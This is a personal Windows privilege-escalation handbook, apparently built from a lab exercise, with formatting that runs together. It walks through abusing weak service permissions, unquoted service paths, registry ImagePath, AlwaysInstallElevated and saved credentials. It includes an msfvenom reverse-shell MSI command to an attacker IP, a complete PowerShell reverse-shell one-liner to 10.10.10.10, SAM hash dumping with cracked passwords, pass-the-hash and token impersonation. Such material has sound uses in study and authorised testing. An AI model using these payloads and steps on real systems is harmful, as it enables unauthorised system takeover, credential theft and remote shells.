
My handbook for Windows Privilege Escalation concepts. Do Check out my Playlist, link: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!
whoami /priv - current user's privilegesnet users - lists all usersnet user <username> - lists details of a specific userqwinsta - Other users logged in simultaneouslynet localgroup - Groups available in systemnet localgroup <group-name> - list members of a specific groupsysteminfo - gives all the info info about OShostname - hostname of systemfindstr /si password *.txt - we're looking for the files which consist 'password' that too in text fileswmic qfe get Caption,Description,HotFixID,InstalledOn - this tells about the security patches and related informationnetstat -ano - connections associated with the machineschtasks /query /fo LIST /v - to look for any taks that are scheduledsysteminfo tool in your machine and this is the only requirement for this toolwmic product get name,version,vendor - this gives product name, version, and the vendor. This particular command gives a proper visualisation of what we need.wmic service list brief | findstr "Running" and in order to obtain more information regarding the service use sc qc <ServiceName>post/multi/recon/local_exploit_suggester, make sure that ur session is in background so that this tool works properly or u can simply load it from meterpreter.winpeas.exe --helpsysteminfo command and copy that to any file and name it with extension .txtwinpeas.exe servicesinfo command and we can see the services which are quite helpful
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped
YOU CAN MODIFY THIS SERVICE: ChangeConfig
accesschk.exe /accepteula -uwcqv <current-user> <service>, output is,C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config where we can change configuration of the service.sc qc <service> and then note the Binary_path_name(this can be also called as binpath), which we're going to change(evil smile)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>" and now start the service sc start daclsvcVulnerability Insight:
The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:
Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe
C:\Program Files\Ignite.exe
C:\Program Files\Ignite Data\Vuln.exe
C:\Program Files\Ignite Data\Vuln Service\file.exe
servicesinfo, here we can see info if we can exploit any Unquoted Service Path, Here I ran the tool and the interesting part of output is like this,unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>C:\Program Files\Unquoted Path Service using accesschk, so run accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". Output:accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
C:\Program Files\Unquoted Path Service, thru copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe", here I'm naming with a different name which has some advantage with alphabetical order as well.sc start unquotedsvc, we're admin!!!Winpeas with servicesinfo option. The output looks similar to this���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
regsvc, so lets dig deep about this service, so run sc qc regsvc and the output is,sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Insecure Registry Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
accesschk.exe and lets dig deep, so run accesschk /acceptula -uvwqk <path of registry>(which is HKLM\system\currentcontrolset\services\regsvc)RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS) in output and we're now good to exploit.reg query HKLM\system\currentcontrolset\services\regsvc and I found an options called ImagePath which takes executable value, so lets exploit it. First of all create a reverse-shell.reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f, choose path of payload according to ur requirement.net start regsvc and hurray! I got the shell.filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc, so we'll create a payload a reverse_shell and replace that with the executable of the service and we'll obtain shell.reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - this will display autorun programs and their paths.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe
My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"
accesschk.exe \accepteula -wvu "<path>", i ran that for My Program autorun's path and the output statted FILE_ALL_ACCESS, so we can literally do anything in this folder. Mainly we can replace the original executable and restart the system and we can get the shell.reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated and
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msimsiexec /quiet /qn /i reverse.msint authority\systemreg query HKLM /f password /t REG_SZ /s this gives all the details in registry which contains password string, search and you might find it! But the sad part is I was unable to obtain any!reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" , we might find some information.windowscreds - looks for credentials, also filesinfo - looks into files and registry for useful data(sometimes passwords also)password123, so now lets login with the help of psexec(link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) and the syntax is python3 psexec.py [email protected] then it'll prompt for password mention it and we'll get access like admin!cmdkey /list, here cmdkey is an windows-server application that Creates, lists, and deletes stored user names and passwords or credentials. By running this we can see what are all the credentials of users saved!Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe, this will give us the admin privilegesC:\Windows\Repair directory, so that we can play! Here in that directory there are 2 files namely, SAM and SYSTEMdownload commandpython2 pwdump.py /opt/work/SYSTEM /opt/work/SAM it'll now display the hashes of users that are available in windows machine. The output is,Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt, and it cracked!password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0daexport SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da here we're using hash with groupid as wellpth-winexe -U admin% //10.10.213.97 cmd.exe, I got shell as adminpth-winexe is already available in kali.schtasks /query /fo LIST /VCleanUp.ps1 seems interesting and the path is C:\DevTools\CleanUp.ps1accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 and we have all the privileges to read, write...etc$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
CleanUp.ps1 and I got connection.Taskmanager and there in Details tab we can see the applications and the user, who's running that.mspaint.exe to run as admin, so this will be out target.file://c:/windows/system32/cmd.exe and boom! We go the shell as admin user!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp, this is default path.accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp". The output is,C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs which runs with admin priviliges and the mail aim of this is to create a shortcut for the reverse-shell which we uploaded.list_tokens -u that too in meterpreter session, later after finding some cool token then run impersonate_token <name of token>whomai /priv and we can see the privileges to current user, there if we can find some privilege like SeAssignPrimaryToken...etc which are kind of dangerous, this is so dangerous! To know more about these privileges and how to exploit them check this article: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System
[Still in progress.....]driverquery - lists the driver related informationsc query windefend - looks for Antivirus service